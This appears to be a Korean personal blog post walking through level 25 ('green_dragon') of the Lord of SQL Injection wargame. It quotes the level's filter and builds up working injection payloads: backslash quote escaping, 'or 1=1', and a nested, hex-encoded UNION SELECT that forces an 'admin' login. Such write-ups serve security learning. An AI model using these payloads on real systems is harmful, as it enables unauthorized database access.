본문 바로가기
개인 공부/WEB

[웹해킹] LOS 25 - (Green Dragon)

by 아메리카노와떡볶이 2021. 7. 3.
728x90
Lord of sql injection - green dragon 풀이

이제 풀다보니 dragon 까지 나오는군.... 그린 드래곤을 해치워보자

문제 접근

테이블이 출력되던 이전 문제들과 다른 문제 방식으로 변형됐다. 음 .. 필터링을 살펴보자

if(preg_match('/prob|_|\.|\'|\"/i'$_GET[id])) exit("No Hack ~_~");
if(
preg_match('/prob|_|\.|\'|\"/i'$_GET[pw])) exit("No Hack ~_~");

싱글 쿼터에 제한을 두는게 보인다. 특이한점은 모르겠다. 일단 코드를 봤을때 id에 '를 넣고 뒤에 pw를 무력화 시키는 코드를 작성하는  방식처럼 보이는데 그렇게하면 두번째쿼리에서 id가 admin이 되는게 불가능하므로, 어떤식으로 접근해야하는지 잘 생각이 안났다. 그래서 힌트를 얻고자 검색을 했다.

 

먼저 싱글쿼터를 무력화 시키는 방법으로 \를 사용한다.

?id=\&pw=or 1=1%23

이렇게 쿼리가 주어진다면

query : select id,pw from prob_green_dragon where id='\' and pw='or 1=1#'

id가 다음과 같이 들어가고 뒤에 or 1=1 때문에 항상 true가 된다. 근데 아무런 select 된 id,pw가 없다. 때문에

union select를 떠올려야하는 것이다

union select는 서로 다른 테이블에서 얻어온 칼럼을 하나의 단일 집합으로 만들어 주는 키워드이다.( 단 이때 불러오는 컬럼의 개수는 동일해야한다)

즉 prob_green_dragon 테이블이 비어있기때문에.. union select를 이용해서 값을 select해서

query 2에 id와 pw를 넣어줘야한다.

예를 들어

?id=\&pw=union select 1,2%23

와 같은 쿼리를 넣으면

query : select id,pw from prob_green_dragon where id='\' and pw='union select 1,2#'

id 값으로 \' and pw= 가 삽입되고, ( 빈 테이블이므로 값이 추출되지는 않는다)

union select 1,2 가 적용되면서 id와 pw 컬럼에 1,2가 들어가게 되는것이다. 그래서 두번째 쿼리에 다음과 같은 결과가 출력된다.

여기까지 이해했다면, 이제 목표는 정해졌다. 첫번째 쿼리의 pw 입력에 union select를 이용해서

두번째 쿼리의 id를 무력화시키고 ( 어차피 빈 테이블이므로), pw에 union select를 통해 admin id를 select하면 해결될 것이다.

?id=\&pw=union select \,union select char(97,100,109,105,110)#'

위의 코드로 하면 될 것 같았는데 안돼서 검색해보니 아스키 코드 값으로 변환해서 넣어야한다고 한다. ( 왜지 .?)

 

그래서 최종적인 변환쿼리는 다음과 같다.

?id=\&pw=union select 0x5c,0x756e696f6e2073656c6563742030783631363436643639366523%23

조금 찝찝하지만 .. clear !!

728x90

'개인 공부 > WEB' 카테고리의 다른 글

[웹해킹] LOS 27 - (Blue Dragon)  (0) 2021.07.03
[웹해킹] LOS 26 - (Red Dragon)  (0) 2021.07.03
[웹해킹] LOS 24 - (Evil_Wizard)  (0) 2021.07.03
[웹해킹] LOS 23 - (Hell_Fire)  (0) 2021.07.03
[웹해킹] LOS 22 - (Dark_eyes)  (0) 2021.07.03

댓글